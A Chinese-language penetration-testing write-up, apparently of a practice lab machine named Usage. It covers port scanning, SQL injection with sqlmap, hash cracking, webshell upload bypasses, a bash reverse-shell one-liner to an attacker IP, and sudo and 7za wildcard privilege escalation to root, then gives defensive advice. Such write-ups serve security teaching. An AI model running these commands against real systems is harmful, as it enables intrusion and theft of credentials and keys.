记一次渗透测试实战之Usage
字数 1243 2025-08-22 12:23:30
渗透测试实战教学:从信息收集到权限提升
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初始端口探测:
nmap -sV -T4 <目标IP>
发现开放端口:
- 22端口:SSH服务
- 80端口:HTTP服务
1.2 子域名枚举
使用ffuf工具进行子域名爆破:
ffuf -w /path/to/wordlist.txt -u https://target.com -H "Host: FUZZ.target.com" -fs <过滤大小>
注意:本例中未发现有用的子域名
2. Web应用测试
2.1 发现登录页面
访问80端口Web服务,发现存在登录页面:
- 检查页面源代码
- 尝试常见路径如/login、/admin等
2.2 弱口令测试
发现存在注册功能:
- 注册一个测试用户
- 尝试常见弱口令组合
- 使用Burp Suite拦截登录请求
3. SQL注入漏洞利用
3.1 发现注入点
通过Burp Suite拦截请求,发现存在SQL注入漏洞:
- 测试参数如username、password等
- 使用单引号(')测试是否引发错误
3.2 使用sqlmap自动化测试
基本命令:
sqlmap -u "http://target.com/login" --data="username=test&password=test" --level=5 --risk=3
进阶技巧:
- 初始测试可能失败,需要调整参数
- 使用--dbms指定数据库类型
- 使用--technique指定注入技术
成功获取数据:
- 枚举数据库表
- 获取用户表数据(用户名和密码hash)
3.3 Hash破解
使用工具如John the Ripper或hashcat破解hash:
hashcat -m <hash类型> hash.txt /path/to/wordlist.txt
成功获取明文密码:"whatever1"
4. 文件上传漏洞利用
4.1 发现上传点
登录后测试各功能点,发现文件上传功能
4.2 绕过上传限制
尝试方法:
- 直接上传PHP webshell(可能失败)
- 修改文件扩展名(如.php5、.phtml)
- 使用双扩展名(如test.jpg.php)
- 修改Content-Type头
4.3 获取Webshell
成功上传webshell后,访问对应URL获取系统访问权限
5. 权限提升技术
5.1 反弹shell
使用bash反弹shell:
bash -c 'bash -i >& /dev/tcp/攻击者IP/443 0>&1'
注意:URL编码后为%26代替&
5.2 内网信息收集
关键文件检查:
- 检查用户目录下隐藏文件(如.monit.rc)
- 查找配置文件中的明文密码
- 检查sudo权限:
sudo -l
5.3 利用sudo权限提升
发现无需密码即可以root身份运行特定脚本:
- 分析脚本功能
- 检查脚本是否允许用户输入
- 检查脚本是否调用外部命令
方法一:创建恶意脚本
- 利用脚本功能创建或读取文件
- 通过脚本读取/root/root.txt
方法二:利用通配符漏洞
- 搜索"7za 通配符漏洞"
- 利用漏洞读取/root/.ssh/id_rsa
- 使用私钥SSH登录获取root权限
6. 关键安全建议
-
SQL注入防护:
- 使用参数化查询
- 实施输入验证
- 最小化数据库权限
-
文件上传安全:
- 限制上传文件类型
- 使用白名单验证
- 存储上传文件在非Web目录
-
权限管理:
- 避免使用root运行应用
- 定期审计sudo权限
- 实施最小权限原则
-
密码安全:
- 强制使用强密码
- 密码哈希使用bcrypt等强算法
- 实施多因素认证
-
系统加固:
- 定期更新软件
- 删除不必要的文件和敏感信息
- 监控日志文件